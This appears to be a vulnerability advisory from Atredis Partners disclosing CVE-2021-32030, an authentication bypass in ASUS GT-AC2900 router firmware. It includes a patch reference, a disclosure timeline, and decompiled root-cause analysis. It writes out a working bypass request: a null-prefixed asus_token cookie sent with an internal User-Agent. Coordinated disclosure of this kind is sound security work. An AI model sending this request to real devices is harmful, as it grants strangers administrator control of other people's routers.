- Asus
- ASUS GT-AC2900 Firmware version 9.0.0.4.386.41994 (Beta Version)
- ASUS GT-AC2900 Firmware version 3.0.0.4.386.41793 (Latest production)
The ASUS GT-AC2900 administrator application is susceptible to an authentication bypass vulnerability when processing remote input from an unauthenticated user, leading to unauthorized access to the administrator interface.
Update to firmware version 3.0.0.4.386.42643
This issue was found by Chris Bellows and Darren Kemp of Atredis Partners
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32030
- https://atredis.com/blog/2021/4/30/asus-authentication-bypass
- https://www.asus.com/Networking-IoT-Servers/WiFi-Routers/ASUS-Gaming-Routers/RT-AC2900/HelpDesk_BIOS/
- 2021-03-16: Atredis Partners sent an initial notification to Asus, including this draft advisory
- 2021-03-23: Asus acknowledged the issue and provided a link to patched beta firmware; Atredis confirmed fix, notifying Asus
- 2021-03-24: Asus acknowedged Atredis' confirmation and indicated that firmware would be generally available within 1 to 2 months
- 2021-04-28: Asus made patched firmware generally available
- 2021-04-30: Atredis Partners filed a vulnerablity report with CERT/CC
- 2021-05-06: As the vulnerability was patched, Atredis Partners published this advisory
The ASUS GT-AC2900 device's administrative web application utilizes a session cookie (asus_token
) to manage session states. It was found that the validation of this cookie fails when the following occurs:
- The submitted
asus_token
starts with a Null (0x0) - The request User-Agent matches an internal service UA (
asusrouter--
) - The device has not been configured with an
ifttt_token
(default state)
This condition results in the server incorrectly identifying the request as being authenticated. The following example shows a normal request and response for valid session:
GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter--
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=iCOPsFa54IUYc4alEFeOP4vjZrgspAY; clickedItem_tab=0
HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close
{
"get_cfg_clientlist":[{"alias":"24:4B:FE:64:37:10","model_name":"GT-AC2900","ui_model_name":"GT-AC2900","fwver":"3.0.0.4.386_41793-gdb31cdc","newfwver":"","ip":"192.168.50.1","mac":"24:4B:FE:64:37:10","online":"1","ap2g":"24:4B:FE:64:37:10","ap5g":"24:4B:FE:64:37:14","ap5g1":"","apdwb":"","wired_mac":[
...
...
}
The following shows that the same request fails in the case an invalid asus_token
is provided:
GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter--
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=Invalid; clickedItem_tab=0
HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close
{
"error_status":"2"
}
If a null character is placed at the front of the asus_token
, the request will be incorrectly identified as being authenticated, as seen in the following request and response:
GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter--
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=\0Invalid; clickedItem_tab=0
HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close
{
"get_cfg_clientlist":[{"alias":"24:4B:FE:64:37:10","model_name":"GT-AC2900","ui_model_name":"GT-AC2900","fwver":"3.0.0.4.386_41793-gdb31cdc","newfwver":"","ip":"192.168.50.1","mac":"24:4B:FE:64:37:10","online":"1","ap2g":"24:4B:FE:64:37:10","ap5g":"24:4B:FE:64:37:14","ap5g1":"","apdwb":"","wired_mac":[
...
...
}
Authentication and validation of requests occurs within the function handle_request
, specifically through the function auth_check
, which can be seen in the following code excerpt from the GPL source archive:
router/httpd/httpd.c - handle_request
static void
handle_request(void)
{
...
...
...
handler->auth(auth_userid, auth_passwd, auth_realm);
auth_result = auth_check(auth_realm, authorization, url, file, cookies, fromapp); <---- call to auth_check in web_hook.o
if (auth_result != 0)
{
if(strcasecmp(method, "post") == 0 && handler->input) //response post request
while (cl--) (void)fgetc(conn_fp);
send_login_page(fromapp, auth_result, url, file, auth_check_dt, add_try);
return;
}
...
...
The auth_check
function is implemented within a compiled object (web_hook.o
), which validates the received session identifier is valid. The process is broken down to the following items at a high level:
- Check that the request cookies contain an
asus_token
- Check if the extracted
asus_token
exists within the current session list - Check if the extracted
asus_token
is a stored service token (IFTTT/Alexa)
The following decompiled pseudocode shows the underlying code responsible for carrying out this process:
router/httpd/prebuild/web_hook.o - auth_check
int __fastcall auth_check(char *dirname, char *authorization, const char *url, char *file, char *cookies, int fromapp_flag)
{
void *v7; // r0
bool v8; // cc
char *v9; // r5
int *v10; // r0
int v11; // r5
int *v12; // r4
int v13; // r0
int v14; // r0
bool v15; // cc
char *v16; // r5
int *v17; // r0
int result; // r0
char *pAsusTokenKeyStart; // r0
char *pAsusTokenValueStart; // r9
size_t space_count; // r0
unsigned int v22; // r2
int *v23; // r0
int v24; // r5
int *v25; // r4
int v26; // [sp+10h] [bp-50h]
char user_token[32]; // [sp+1Ch] [bp-44h] BYREF
v7 = memset(user_token, 0, sizeof(user_token));
v26 = cur_login_ip_type;
...
...
...
result = auth_passwd;
if ( auth_passwd )
{
// check that the request has a cookie header set and the asus_token cookie exists
// example header - Cookie: asus_token=iCOPsFa54IUYc4alEFeOP4vjZrgspAY; clickedItem_tab=0
if ( !cookies || (pAsusTokenKeyStart = strstr(cookies, "asus_token")) == 0 ) // <-----
{
// check if this is the first access for initial setup - this is skipped
if ( !is_firsttime() ) // <-----
{
add_try = 0;
return 1;
}
goto PAGE_REDIRECT;
}
// find the location of the asus_token value
pAsusTokenValueStart = pAsusTokenKeyStart + 11; // <-----
space_count = strspn(pAsusTokenKeyStart + 11, " \t"); // <-----
// set the user_token variable to the extracted value from the user request
snprintf(user_token, 0x20u, "%s", &pAsusTokenValueStart[space_count]); // <-----
// validate the user_token value, check_ifttt_token returns 1, causing the if statement to be skipped that would normally result in an authentication failure
if ( !search_token_in_list(user_token, 0) && !check_ifttt_token(user_token) ) // <-----
The check_ifttt_token
function compares the user submitted value to the stored configuration value currently stored in the systems nvram configuration. The following shows the decompiled pseudocode for this function:
router/httpd/prebuild/web_hook.o - check_ifttt_token
int __fastcall check_ifttt_token(const char *asus_token)
{
char *ifft_token; // r0
char *v3; // r0
int result; // r0
ifft_token = nvram_safe_get("ifttt_token"); // <----- returns \0
The function nvram_safe_get is used to retrieve the stored ifttt_token value from the systems nvram configuration, which can be seen in the following decompiled pseudocode:
router/httpd/prebuild/web_hook.o - nvram_safe_get
char *__fastcall nvram_safe_get(char* setting_key)
{
char *result; // r0
result = nvram_get(setting_key);
if ( !result )
result = "\0";
return result;
}
In the case the nvram configuration does not contain a value for the requested setting, the function returns "\0" (Null). As the submitted asus_token has been set to a Null from the original request the string comparison will indicate that the values are equal and the check_iftt_token
function will return true (1), as seen in the following pseudocode:
router/httpd/prebuild/web_hook.o - check_ifttt_token
ifft_token = nvram_safe_get("ifttt_token"); // <----- returns \0
if ( !strcmp(asus_token, ifft_token) ) // <----- returns 0 as they match, evals to true and login is successful
{
// if the IFTTT_ALEXA log file is enabled, log successful check message
if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] IFTTT/ALEXA long token success.\n", "check_ifttt_token", 760);
// Return 1
result = 1; // <----- set result value
}
else// <----- skipped
{
if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] IFTTT/ALEXA long token fail.\n", "check_ifttt_token", 766);
if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
Debug2File(
"/tmp/IFTTT_ALEXA.log",
"[%s:(%d)][HTTPD] IFTTT/ALEXA long token is %s.\n",
"check_ifttt_token",
767,
asus_token);
if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
{
v3 = nvram_safe_get("ifttt_token");
Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] httpd long token is %s.\n", "check_ifttt_token", 768, v3);
}
result = 0;
}
return result; // <----- return 1
}
Continuing back within auth_check
, the check_ifttt_token
return value causes the if statement to evaluate to false, skipping the code path that would result in a failed authentication attempt, resulting in the authentication process to succeed:
router/httpd/prebuild/web_hook.o - auth_check
if ( !search_token_in_list(user_token, 0) && !check_ifttt_token(user_token) ) // <-----
{
if ( !is_firsttime() )
{
if ( !strcmp(last_fail_token, user_token) )
{
add_try = 0;
}
else
{
strlcpy(last_fail_token, user_token, 32);
add_try = 1;
}
v23 = _errno_location();
v24 = *v23;
v25 = v23;
if ( f_exists("/tmp/HTTPD_DEBUG") > 0 || nvram_get_int("HTTPD_DBG") > 0 )
asusdebuglog(6, "/jffs/HTTPD_DEBUG.log", 0, 1, 0, "[%s(%d)]:AUTHFAIL\n\n", "auth_check", 1054);
result = 2;
*v25 = v24;
return result;
}
PAGE_REDIRECT:
page_default_redirect(fromapp_flag, url);
return 0;
}
...
...
return result;
}
By monitoring the system logs confirmation of successful IFTT/ALEXA login token processing can be seen when submitting a malformed asus_token
:
admin@GT-AC2900-3711:/jffs# tail -f /tmp/IFTTT_ALEXA.log
[check_ifttt_token:(1014)][HTTPD] IFTTT/ALEXA long token success.